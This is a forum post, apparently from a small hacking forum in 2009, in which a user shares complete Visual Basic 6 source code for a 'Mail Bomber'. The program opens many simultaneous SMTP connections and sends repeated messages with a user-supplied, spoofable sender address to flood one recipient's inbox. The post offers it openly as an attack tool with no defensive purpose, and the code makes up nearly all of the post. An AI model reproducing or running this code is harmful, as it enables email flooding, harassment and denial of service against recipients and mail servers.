Fucking FAILURE! - Shad0w
 
HomePortalMemberlistRegisterLog in
Top posters
shad0w
 
rdwuestewald
 
Crush Combat
 
banksy
 
Kewley
 
Ashley
 
Anthony
 
Inix
 
mitch
 
dukemaster95
 
Who is online?
In total there is 1 user online :: 0 Registered, 0 Hidden and 1 Guest

None

Most users ever online was 13 on Fri Mar 09, 2018 8:56 pm

Share | 
 

 [VB6] Mail Bomber [Code]

Go down 
AuthorMessage
shad0w



Number of posts : 173
Points : 238
Reputation : 0
Registration date : 2009-03-18
Location : 127.0.0.1

PostSubject: [VB6] Mail Bomber [Code]   Thu Mar 19, 2009 7:36 pm

Code:
Private Sub Command1_Click()
For i = 1 To Text5.Text
On Error Resume Next
smtp(i).Close
Unload smtp(i)
On Error Resume Next
Load smtp(i)
DoEvents
smtp(i).Connect txtserver.Text, 25
Next
End Sub

Private Sub Command2_Click()
For i = 1 To smtp(smtp.Count) - 1
smtp(i).Close
Unload smtp(i)
Next
End Sub

Private Sub smtp_Connect(Index As Integer)
DoEvents
Text6.Text = Text6.Text & "Connected" & vbCrLf
DoEvents
smtp(Index).SendData "HELO " & smtp(Index).LocalIP
DoEvents
smtp(Index).SendData "mail from:" & Text2.Text & vbCrLf
DoEvents
smtp(Index).SendData "mail from:" & Text2.Text & vbCrLf
DoEvents
smtp(Index).SendData "mail from:" & Text2.Text & vbCrLf
DoEvents
smtp(Index).SendData "rcpt to:" & Text1.Text & vbCrLf
DoEvents
smtp(Index).SendData "DATA" & vbCrLf
DoEvents
smtp(Index).SendData "subject: " & Text3.Text & vbCrLf
DoEvents
smtp(Index).SendData Text4.Text & vbCrLf
DoEvents
smtp(Index).SendData vbCrLf & "." & vbCrLf
DoEvents
smtp(Index).SendData "quit" & vbCrLf
DoEvents
End Sub

Private Sub smtp_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim Data As String
On Error Resume Next
smtp(Index).GetData Data
On Error Resume Next
DoEvents
Text6.Text = Text6.Text & Data
DoEvents
End Sub

Private Sub Text6_Change()
Text6.SelStart = Len(Text6.Text)
End Sub
Back to top Go down
 
[VB6] Mail Bomber [Code]
Back to top 
Page 1 of 1

Permissions in this forum:You cannot reply to topics in this forum
Fucking FAILURE! - Shad0w :: Shad0w's Computer Section :: Coding :: Visual Basic-
Jump to: